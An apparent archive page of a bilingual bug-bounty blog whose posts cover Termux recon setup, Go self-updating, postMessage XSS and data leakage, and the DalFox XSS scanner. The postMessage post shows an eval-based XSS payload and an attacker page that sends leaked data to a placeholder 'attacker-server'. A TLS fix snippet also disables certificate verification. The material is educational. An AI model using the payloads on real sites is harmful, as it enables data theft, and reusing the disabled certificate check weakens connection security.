5/31/2020

Setup bugbounty hunting env on termux :D

The termux in my memory was Linux on Android, which was only available with some Linux commands.

So I usually remember using it on rooting device. Recently, I found out that packages such as rust and golang can be used on termux among tweets from 1ndianl33t, so I finally set them up on the test phone today. writing note for me :D

 

제 기억속의 termux는 일부 리눅스 명령 사용만 가능한 안드로이드 위의 리눅스였습니다.

그래서 보통 루팅과 함께 사용했던 기억이 있네요. 최근에 1ndianl33t 와의 트윗 중 termux에서 rust, golang 등의 패키지 사용이 가능한걸 알고 오늘에서야 테스트폰에 세팅을 진행했습니다. 메모 차원에서 작성해둡니다 :D

 




Oneline script for me

$ pkg install rust perl make golang git vim nmap htop ; cargo install findomain; go get -v github.com/projectdiscovery/naabu/cmd/naabu; go get -u github.com/tomnomnom/meg;  go get -v github.com/projectdiscovery/subfinder/cmd/subfinder; go get -u github.com/tomnomnom/qsreplace; go get -u github.com/tomnomnom/httprobe; go get github.com/haccer/subjack; go get -u github.com/tomnomnom/assetfinder; git clone https://github.com/hahwul/dalfox ; cd dalfox ; go install; git clone https://github.com/tomnomnom/hacks ; 

 

Install important package(rust, perl, make, golang, git)

$ pkg install rust perl make golang git vim

 

Install RUST base tool

$ cargo install findomain

etc...

 

Install golang base tool

$ go get -u github.com/tomnomnom/meg
$ go get -v github.com/projectdiscovery/subfinder/cmd/subfinder
$ go get -u github.com/tomnomnom/qsreplace

etc...

 




building golang package

$ git clone https://github.com/hahwul/dalfox
$ cd dalfox
$ go build
$ ./dalfox

or go install


etc...

 

Share: | Coffee Me:

5/17/2020

golang 어플리케이션 self update 적용하기(github latest version 기반)

메모 차원에서 작성합니다.

dalfox 1.1 버전대 업데이트에서 큰 부분 중 하나가 self-update입니다. 이전에 xspear, a2sv 등에서도 여러가지 방법으로 self-update를 지원했었는데 이번 dalfox는 바이너리로 컴파일되서 배포되기 때문에 고민이 좀 많았습니다.
(이전까진 git command 기반으로 update 시켰거든요..)

그래서 git api로 release 버전 체크 후 바이너리를 교체할 방법으로 만들려고 하던 중 혹시나 해서 찾아봤더니 정말 좋은 모듈이 있어서 쉽게 해결했습니다.

Self update with go-github-selfupdate

go-get으로 모듈을 설치하신 후 ..

go get -u https://github.com/rhysd/go-github-selfupdate

아래 코드같은 형태로 self update가 가능합니다. 재미있는 점이라면, github의 주소를 기반으로 latest 버전을 체크하고, OS 타입에 맞는 바이너리를 받아 현재 실행중인 바이너리와 바꿔주는겁니다. (만들려고 했던 모든게 다있었네요)

import (
    "bufio"
    "github.com/blang/semver"
    "github.com/rhysd/go-github-selfupdate/selfupdate"
    "log"
    "os"
)

const version = "1.2.3"

func confirmAndSelfUpdate() {
    latest, found, err := selfupdate.DetectLatest("owner/repo")
    if err != nil {
        log.Println("Error occurred while detecting version:", err)
        return
    }

    v := semver.MustParse(version)
    if !found || latest.Version.LTE(v) {
        log.Println("Current version is the latest")
        return
    }

    fmt.Print("Do you want to update to", latest.Version, "? (y/n): ")
    input, err := bufio.NewReader(os.Stdin).ReadString('\n')
    if err != nil || (input != "y\n" && input != "n\n") {
        log.Println("Invalid input")
        return
    }
    if input == "n\n" {
        return
    }

    exe, err := os.Executable()
    if err != nil {
        log.Println("Could not locate executable path")
        return
    }
    if err := selfupdate.UpdateTo(latest.AssetURL, exe); err != nil {
        log.Println("Error occurred while updating binary:", err)
        return
    }
    log.Println("Successfully updated to version", latest.Version)
}

Using on DalFox

샘플코드 참조해서 아래와 같이 구성했습니다. 앱 내부에서 version 정보를 가지고 있는데, 이를 selfupdate의 DetectLatest 함수를 통해 얻은 마지막 버전과 비교 후 낮은 버전이라면 패치를 진행합니다.

package cmd

import (
 "bufio"
 "fmt"
 "github.com/blang/semver"
 "github.com/hahwul/dalfox/pkg/printing"
 "github.com/rhysd/go-github-selfupdate/selfupdate"
 "github.com/spf13/cobra"
 "os"
)

// updateCmd represents the update command
var updateCmd = &cobra.Command{
 Use:   "update",
 Short: "Update DalFox (Binary patch)",
 Run: func(cmd *cobra.Command, args []string) {
  confirmAndSelfUpdate()
 },
}

func init() {
 rootCmd.AddCommand(updateCmd)
}

func confirmAndSelfUpdate() {
 version := printing.VERSION[1:]
 latest, found, err := selfupdate.DetectLatest("hahwul/dalfox")
 if err != nil {
  printing.DalLog("ERROR", "Error occurred while detecting version", optionsStr)
  return
 }

 v := semver.MustParse(version)
 if !found || latest.Version.LTE(v) {
  printing.DalLog("SYSTEM", "Current version is the latest", optionsStr)
  return
 }

 fmt.Print("Do you want to update to", latest.Version, "? (y/n): ")
 input, err := bufio.NewReader(os.Stdin).ReadString('\n')
 if err != nil || (input != "y\n" && input != "n\n") {
  printing.DalLog("ERROR", "Invalid input", optionsStr)
  return
 }
 if input == "n\n" {
  return
 }

 exe, err := os.Executable()
 if err != nil {
  printing.DalLog("SYSTEM", "Could not locate executable path", optionsStr)
  return
 }
 if err := selfupdate.UpdateTo(latest.AssetURL, exe); err != nil {
  printing.DalLog("SYSTEM", "Error occurred while updating binary", optionsStr)
  return
 }
 printing.DalLog("SYSTEM", "Successfully updated to latest version", optionsStr)
}


덕분에 매우 쉽게 해결했습니다 :D


Share: | Coffee Me:

5/15/2020

Vulnerability of postMessage and postMesasge-tracker browser extension

Hi hackers and bugbounty hunter!

Recently, @frans released a browser extension called postMessage-tracker and I found it. So today I'm wrting about the expansion and postMessage.

frans announced the analysis of postMessage under the title Attacking Modern Web Technologies) in 2018 AppSec, and this extension release this month.

frans가 2018 AppSec 에서 Attacking modern web technologies 란 타이틀로 postMessage에 대한 분석에 대한 이야기를 발표했었는데요, 이 때 소개한 Browser Extension이 이번달 릴리즈되어 관련 내용 가볍게 공유할까 합니다.



What is postMessage

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
Normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy"). window.postMessage() provides a controlled mechanism to securely circumvent this restriction (if used properly).
Broadly, one window may obtain a reference to another (e.g., via targetWindow = window.opener), and then dispatch a MessageEvent on it with targetWindow.postMessage(). The receiving window is then free to handle this event as needed. The arguments passed to window.postMessage() (i.e., the “message”) are exposed to the receiving window through the event object.
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

(MDN을 보세요. https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage)

Analysis Vulnerability of postMessage

I wrote about the vulnerability of postMessage in 2016. Unfortunately, I only wrote in Korean at that time. It's about XSS and Sensitive data leak, and if you're curious, please use the translator!

관련해선 예전에 정리해둔글이 있으니 한번 참고해주세요. (벌써 4년전에 쓴 글이라.. 잘못된 부분도 좀 있을 수 있습니다. 감안해주세요..ㅎㅎㅎㅎㅎ)

https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

요약하면
1) XSS
2) Sensitive Data Leakage
3) Etc...

XSS

It's mainly shown in the AppSec video above, and as I mentioned in my previous article, XSS is the best and most influential. This code is probably weak. The code below is the code that passes the data received by b.data.evalCall to the factor value of the eval, where postMessage can be used to trigger XSS by passing the attack phrase like the second code on the page you call.

위에 AppSec 영상에서도 주로 나오고, 제가 예전 글에서도 언급했듯이 XSS가 가장 잘 나오고, 영향도도 높습니다. 대략 이런 코드가 취약하겠네요. 아래 코드는 b.data.evalCall으로 받은 데이터를 eval의 인자값으로 넘기는 코드인데, 이 때 postMessage를 사용한다면 호출하는 페이지에서 두번째 코드와 같이 공격구문을 전달하여 XSS를 트리거시킬 수 있습니다.

function (b){b.data.evalCall&&eval("("+b.data.evalCall+")")}
b.postMessage({"evalCall":"alert(document.domain)"},"*")

This is possible if the postMessage call section is weak or the CORS setting on the receiving side is weak. As you can see from the MDN document, postMessage follows SOP.

postMessage를 호출하는 구간이 취약하거나 받아주는 쪽의 CORS 설정이 취약한 경우 가능한데요..
(MDN 문서를 보시면 아시겠지만 postMessage는 SOP를 따릅니다)

https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage

Below is a related case, so please refer to
아래는 관련 사례이니 참고해주세요.

https://hackerone.com/reports/398054
https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html

Sensitive data leakage

With postMessage, you can also steal sensitive data. Like JSON Hijack or several data deodorization techniques, postMessage requires verification of the requested window (Parent) when sending data. If an attacker calls a vulnerable page into Child on their site and asks for the ability to collect information through postMessage, it's easy to get your information.

취약 페이지가 중요정보를 postMessage를 통해 전송하고 SOP가 우회된 경우 공격자가 피해자 세션의 중요 데이터를 postMessage를 통해 받아올 수 있습니다.

vuln page
function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}
attacker
<img src="http://attacker-server/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

It's usually caused by a chain attack when there's a lack of verification of the parent page in a child page, or if there's a vulnerability in it.

아마.. 보통은 child page에서 parent 페이지에 대해 검증이 부족하거나 검증된 parent 페이지에 XSS등의 취약점이 있는 경우 연쇄작용으로 발생하겠네요.

How to use postMessage-tracker?

https://github.com/fransr/postMessage-tracker
$ git clone https://github.com/fransr/postMessage-tracker


Chrome(firefox) => Setting => Extension => Load from file or dir

Although the description says it was made for Chrome, it is actually available on the cross platform because the Chromium engine-based browser as well as the firebox use the same JavaScript extension.

When you access the page where postMessage is inserted with the extension installed, the extension shows the relevant code. You can look at this, see if it leads to XSS or other vulnerabilities, and then switch to vulnerabilities.

이후 Chrome(firefox) => Setting => Extension => Load from file or dir 순서로 진입하셔서 확장 기능을 로드해주시면 됩니다. 브라우저별로 상이하니 이 부분은 사용하시는 브라우저에 따라서 찾아보시면 될 것 같습니다.

설명으론 크롬용으로 만들었다곤 하지만, 실제로 크로미움 엔진 기반 브라우저는 물론 firefox도 동일하게 자바스크립트 확장기능을 사용하기 때문에 크로스 플랫폼에서 사용이 가능합니다.
확장 기능이 설치된 상태에서 postMessage가 삽입된 페이지에 접근하게 되면 관련 코드를 확장기능에서 보여줍니다. 이걸보고, XSS나 다른 취약점으로 연결될지 분석하고 취약점으로 바꿔먹으면 됩니다.




Reference

https://github.com/fransr/postMessage-tracker
https://www.youtube.com/watch?v=oJCCOnF25JU
https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html
Share: | Coffee Me:

5/08/2020

Find reflected parameter on ZAP and Easy testing reflected XSS!

Hi hacker and bugbounty hunters.

Starting this year, I made web hacking tools collection that are good to use for bugbounty. Among them, there is a collection of expansion features of Burpsuite and ZAP, and I found awesome ZAP extension from this tweet.
올해부터 버그바운티 시 사용하기 좋은 웹 해킹 도구들을 정리하고 있습니다. 그중엔 BurpSuite와 ZAP의 확장 기능 컬렉션도 있고 트윗통해 추천을 받던 중 쓸만한 ZAP 확장 기능을 찾아 글로 간략하게 작성해봅니다.



Reflect

There was no ZAP extension or function to replace the reflected parameters of the existing burp suite, but I think we have a good extension now.
init 코드가 업로드된지 3개월로 얼마 안된 프로젝트입니다. 다만 기존 burpsuite의 reflected params를 대체할만한 ZAP의 확장 기능이나, 기능이 없었는데 이번에 좋은 확장 기능이 생긴 것 같네요.
https://github.com/TypeError/reflect



How to install?

https://github.com/TypeError/reflect/releases

Download release file(.zap) and install on ZAP(File => Load add-on file )
release 페이지로 들어가서 .zap 파일을 다운로드 받습니다. (.zap은 확장 기능 파일입니다. PK헤더이고, jar랑 비슷합니다.)

File => Load add-on file 로 들어가서 설치해줍니다.


require in-scope, add your target to context!!

Finding XSS with reflect + zap + dalfox

You can copy the URL list from the context menu within the reflect tab. copied data is CSV type and can be changed to match the input format of other tools. I'm going to change to a line-based format that most tools use a lot.
reflect 탭 내 컨텍스트 메뉴에서 URL리스트를 복사할 수 있습니다. CSV 타입으로 , 단위로 구별되며 다른 도구의 input 포맷에 맞게 변경해서 사용하면 됩니다. 전 대다수 도구에서 많이 사용하는 line 기반의 포맷으로 변경하겠습니다.

context menu(right click) => copy URL(s) => past to vim => repalce , to \r\n
%s/, /\r/g



Testing with dalfox! if you lucky, finding xss
간단하게 dalfox로 테스트해보면..

$ cat urls.txt | qsreplace -a | dalfox pipe



이런식으로 테스팅할 수 있습니다. 운이 좋으면 하나 걸리겠죠 뭐 :D
Share: | Coffee Me:

5/05/2020

How to use DalFox's Fun Options (if found notify , custom grepping)

As you can see from my blog and tweet, I recently full-change(new project...) my XSpear and created an XSS Scanning tool called DalFox. Today, I'm going to share some tips for using DalFox.
제 블로그나 트윗을 본다면 알겠지만, 최근 XSpear를 갈아엎고 DalFox라는 XSS Scanning 도구를 만들었습니다.

오늘은 DalFox를 사용할 떄 참고할만한 팁 몇가지를 공유하려고 합니다.


Usage of DalFox

Dalfox has many options. Use it appropriately according to your situation and needs!

    _..._
  .' .::::.   __   _   _    ___ _ __ __
 :  :::::::: |  \ / \ | |  | __/ \\ V /
 :  :::::::: | o ) o || |_ | _( o )) (
 '. '::::::' |__/|_n_||___||_| \_//_n_\
   '-.::''

Parameter Analysis and XSS Scanning tool based on golang
Finder Of XSS and Dal is the Korean pronunciation of moon. @hahwul

Usage:
  dalfox [command]

Available Commands:
  file        Use file mode(targets list or rawdata)
  help        Help about any command
  pipe        Use pipeline mode
  url         Use single target mode
  version     Show version

Flags:
  -b, --blind string            Add your blind xss (e.g -b https://hahwul.xss.ht)
      --config string           Using config from file
  -C, --cookie string           Add custom cookie
      --custom-payload string   Add custom payloads from file
  -d, --data string             Using POST Method and add Body data
      --delay int               Milliseconds between send to same host (1000==1s)
      --found-action string     If found weak/vuln, action(cmd) to next
      --grep string             Using custom grepping file (e.g --grep ./samples/sample_grep.json)
  -H, --header string           Add custom headers
  -h, --help                    help for dalfox
      --only-discovery          Only testing parameter analysis
  -o, --output string           Write to output file
      --output-format string    -o/--output 's format (txt/json/xml)
  -p, --param string            Only testing selected parameters
      --proxy string            Send all request to proxy server (e.g --proxy http://127.0.0.1:8080)
      --silence                 Not printing all logs
      --timeout int             Second of timeout (default 10)
      --user-agent string       Add custom UserAgent
  -w, --worker int              Number of worker (default 40)

Case study1 - Using pipelining

Many Bounty Hunters want to automate their work processes and easily find vulnerabilities. I'm also of the same class, and to make it a little easier, DalFox was basically developed considering Pipeline. Until now, we are going to support 3 types of scan modes ('url', 'file' and 'pipe') and support a slightly unique type of scan mode for Stored XSS in the future.

많은 바운티헌터들은 자신의 작업 과정을 자동화하고, 쉽게 취약점을 찾고싶어합니다. 저 또한 같은 부류이고, 이를 조금 더 쉽게하기 위해서 DalFox는 기본적으로 Pipeline을 고려하여 개발했습니다. 현재까진 총 3가지 방식의 스캔 모드(url, file, pipe)를 지원하고 있고 추후에는 Stored XSS를 위해서 조금 독특한 형태의 스캔 모드를 지원하려고 합니다.

file        Use file mode(targets list or rawdata)
pipe        Use pipeline mode
url         Use single target mode

First of all, url and file are options that use a from other tools, so I'll talk about only pipe lightly.
우선 url이나 file은 다른 도구도 많이 사용하는 옵션이니 pipe에 대해서 가볍게 이야기해보겠습니다.

When you operate DalFox in pipe mode, the basic input is set to stdin . So you can get the input value through the pipeline from other tools. The format of the input value used here is an url list divided based on the opening letter, which is the same as the file option.

pipe 모드로 DalFox를 동작시키면 기본적인 input이 stdin 으로 설정됩니다. 그래서 다른 툴로부터 pipeline을 통해 입력값을 받을 수 있습니다. 여기서 사용하는 입력값의 포맷은 개행문자를 기반으로 나뉜 url list이고 이는 file 옵션과 동일합니다.

$ echo "https://www.hahwul.com" | dalfox pipe


there is a pipeline like below.
약간의 머리를 쓰면, 아래와 같은 파이프라인을 구성할 있습니닷

$ cat targets_list | waybackurls | grep "=" | grep -v "png\|jpg\|js\|css\|gif\|txt" | qsreplace | dalfox pipe --blind https://your.blind.xss.site --worker 5 > dalfox_result

One thing I want to talk about here is the number of walkers. As you already know, gallang has high concurrency and very fast speed due to the goroutine and gochannel. DalFox basically generates and tests 40 workers, and pipelines can have a lot of input, which is extremely rare, but can also occupy the maximum number of sockets per process supported by the OS. So I think we need to adjust the walker of the right line.
(Of course, it is okay to use the default or more for fewer targets or single scans)

여기서 하나 이야기하고 싶은건 워커의 갯수인데요, 이미 알시겠지만 golang은 고루틴으로 인해 동시성이 높고 속도도 굉장히 빠릅니다. DalFox는 기본적으로 40개의 Worker를 생성해서 테스트하는데, pipeline의 경우 input이 굉장히 많을 수 있어서 극히 드물지만 OS에서 지원하는 프로세스 당 소켓의 최대 수를 점유할수도 있습니다. 그래서 적당한 선의 워커 조정은 필수입니다.
(물론 타겟이 적거나 단일 스캔의 경우 기본값 or 그 이상을 사용해도 무방하죠)

Below is a way to check with 'ulimit', so please refer to it. ('ulimit -a' or 'ulimit -n')
아래는 ulimit으로 확인할 수 있는 방법이니 참고해주세요. (ulimit -a or ulimit -n)

$ ulimit -a
-t: cpu time (seconds)              unlimited
-f: file size (blocks)              unlimited
-d: data seg size (kbytes)          unlimited
-s: stack size (kbytes)             8192
-c: core file size (blocks)         0
-m: resident set size (kbytes)      unlimited
-u: processes                       30504
-n: file descriptors                1024
-l: locked-in-memory size (kbytes)  16384
-v: address space (kbytes)          unlimited
-x: file locks                      unlimited
-i: pending signals                 30504
-q: bytes in POSIX msg queues       819200
-e: max nice                        0
-r: max rt priority                 0
-N 15:                              unlimited

Case study2 - Notify slack using --found-action option

The second is the '--found-action' option. This option allows you to specify commands to perform immediately if they are selected during scanning or detected in the Verify DOM logic. There are many cases, but notify is representative.

두번째는 --found-action 옵션입니다. 이 옵션은 스캐닝중에 Reflected 되거나, Verify DOM 로직에서 탐지된 경우 바로 수행할 명령을 지정할 수 있습니다. 여러가지 케이스가 있겠지만, 대표적으로 활용할 수 있는게 Notify입니다.

It has indicators '@@query@', '@@target@@', and '@@type@@' when the actual command is executed, it is replaced and used in the following pattern.

기본적으로 @@query@@ , @@target@@ , @@type@@ 란 지시자를 가지고있고, 이는 실제 명령이 실행될 때 아래와 같은 패턴으로 치환되서 사용되고 있죠.

@@query@@ : attack query
 + e.g: https://www.hahwul.com?q="><script~~blahblah
@@target@@ : target site
 + e.g: https://www.hahwul.com
@@type@@ : WEAK / VULN

So you can create a Bash script that can handle slack, and you can configure notify in this command line.

그래서 slack을 처리할 수 있는 bash 스크립트를 하나 만들고, 이런 형태로 notify를 구성할 수 있습니다.
dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff --found-action "./samples/sample_found_action.sh @@query@@ @@type@@"
slack.sh code is below.I think I would have reflected it in the samples after posted this post.
아래는 slack.sh이고, 이 글이 업로드될 때 쯤이면 내가 samples에 반영했을 것 같습니다.
(반영했죠!)

# @@query@@ : https://www.hahwul.com?q="><script~~blahblah
# @@target@@ : https://www.hahwul.com
# @@type@@ : WEAK / VULN
# slack.sh @@query@@ @@type@@

query=$1
type=$2
if [ $type = "VULN" ]
then
  curl -X POST --data-urlencode "payload={\"channel\": \"#your channel\", \"username\": \"DalFox\", \"text\": \"[Verify]\n$query\", \"icon_emoji\": \"fox\"}" https://hooks.slack.com/services/your/secret_slack_url
else
  curl -X POST --data-urlencode "payload={\"channel\": \"#your channel\", \"username\": \"DalFox\", \"text\": \"[Reflected]\n$query\", \"icon_emoji\": \":fox:\"}" https://hooks.slack.com/services/your/secret_slack_url
fi


다만 스크립트에 약간 버그가 있네요....ㅜㅜ


Case study3 - Grepping custom pattern

The third option is Grepping, '--grep'. To begin with, the purpose of creating this option is that the XSS scanning tool is intended for XSS detection, but it can actually be useful in finding other vulnerabilities. So I thought it would be nice to provide the user with a custom response grab, so I made this function.

세번째는 Grepping, --grep 옵션입니다. 이 옵션을 만든 취지를 먼저 이야기하자면, XSS 스캐닝 도구는 XSS 탐지를 목적으로 만들지만, 실제로 다른 취약점을 찾는데 유용하게 쓰일 수 있습니다. 그러다보니, 사용자에게 custom 하게 response grep을 할 수 있게 제공해주면 좋겠다라는 생각이 들었고, 그래서 만든 기능입니다.

Basically, SSTI and some patterns (SSL Private key detection, etc.) are included as built-in. In addition, you can refer to external pattern json in the form of '--grep=JSON_FILE'. I'll just scan the hackone report page included S3 address for example.

기본적으로 SSTI와 일부 패턴(SSL Private key 탐지 등)은 Built-in으로 들어가 있습니다. 이외에도 --grep=JSON_FILE 같은 형태로 외부의 패턴 json을 참조할 수 있습니다. 예시를들기 쉽게 s3 주소가 있는 페이지를 그냥 스캔해보죠.

dalfox url --grep samples/sample_grep.json https://hackerone.com/reports/57505


If there is Regex that can identify s3 in the grep json given as an option at this time, it can be detected as follows.

이 때 옵션으로 준 grep json에 s3를 식별할 수 있는 Regex가 있다면...
samples/sampel_grep.json
{
 "sample pattern":"phoenix.html",
 "amazonaws_url": "s3\\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\\.s3\\.amazonaws.com",
 "slack_webhook": "https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}"
}

아래와 같이 스캔 중 탐지할 수 있습니다.


Conclusion

I think there are still a lot of functions that are lacking, and there are a lot of functions that need to be added. Obviously, it's better than the XSpear I made before, so I thought it would be a little bit helpful for your happy bugbounty life. Use it well and additional functional comments and bug reports are always welcome!

아직 부족한 기능도 많고, 추가해야할 기능도 많다고 생각합니다. 분명히 예전에 만든 XSpear 보다는 비교도 안되게 좋기 때문에 취약점을 찾는데 있어 조금이나마 도움이 될거란 생각이 드네요. 기능추가 의견이나 버그제보는 언제나 환영이야!


Share: | Coffee Me:

5/04/2020

How to fix "local error: tls: no renegotiation error" on golang net/http

에러의 내용을 요약하면 아래와 같습니다. renegoriation 미설정으로 인한 발생이네요...

local error: tls: no renegotiation 

dalfox 릴리즈 후 처음으로 이슈올라온 내용입니다. 다른 언어에서는 기본적으로 설정되어 있어서, 크게 신경쓰지 않았었는데, go의 경우 기본으로 포함되지 않기 때문에(샘플이나 튜토리얼등에서의 언급이..) 자주 실수할 수 있는 부분으로 보입니다.

What is SSL renegoriation?

기존 보안 세션 내에서 새 핸드쉐이크 협상을 시작하는 것을 재협상이라고 부릅니다. SSL 사용 중 클라이언트 인증이나, 암호화 관련 정보(알고리즘/키 등등)의 변경이 있는 경우 새로 세션을 맺어야하는데 이 때 renegoriation, 즉 재협상을 사용해야합니다. 그래서 기존의 SSL 세션을 이용해서 renegoriation message(암호화 키 + @ 정보) 를 전달하고 이를 기반으로 서버와 클라이언트가 새로 SSL 세션을 맺을 수 있습니다. 이 과정을 SSL renegoriation 이라고 부르고, 클라이언트/서버 모두 이 과정을 시작할 수 있기 때문에 보통 SSL Clinet들은 기본적으로 내장한 상태로 동작하는 경우가 많습니다.

Starting a new handshake negotiation within an existing security session is called SSL renegotiation. If there are changes to client authentication or encryption-related information (algorithm/key, etc.) during SSL use, a new session should be held, which is where re-negotiation, or renegotiation, should be used. This allows the server and client to have a new SSL session based on the existing SSL session, which is passed on to the regeneration message (encryption key + @ information). Because this process is called SSL regeneration, and both clients/servers can start this process, SSL Clinets usually operate in a built-in state by default.

How to fix?

문제점부터 짚어보면, golang에선 기본적으로 내장된 코드도 아니고, 예시코드에도 나와있지 않아서 충분히 개발자가 실수할 수 있는 부분입니다. 단순하게 http client가 SSL renegoriation을 지원해줄 수 있도록 tls config에서 설정 후 사용해주면 됩니다.

If you look at the problem first, it's not a built-in code in Golang, and it's not listed in example code, so the developer can make a mistake. Simply set it up in tls.config and use it so that the http.client can support SSL regeneration.

tr := &http.Transport{
        TLSClientConfig: &tls.Config{
            Renegotiation:      tls.RenegotiateOnceAsClient,
            InsecureSkipVerify: true},
    }

client := &http.Client{
        Timeout:   timeout,
        Transport: tr,
    }

저의 경우에도 비슷한 형태로 해결했습니다.
I'm the same


https://github.com/hahwul/dalfox/issues/61

Reference

https://stackoverflow.com/questions/57420833/tls-no-renegotiation-error-on-http-request
https://devcentral.f5.com/s/articles/ssl-profiles-part-6-ssl-renegotiation
Share: | Coffee Me: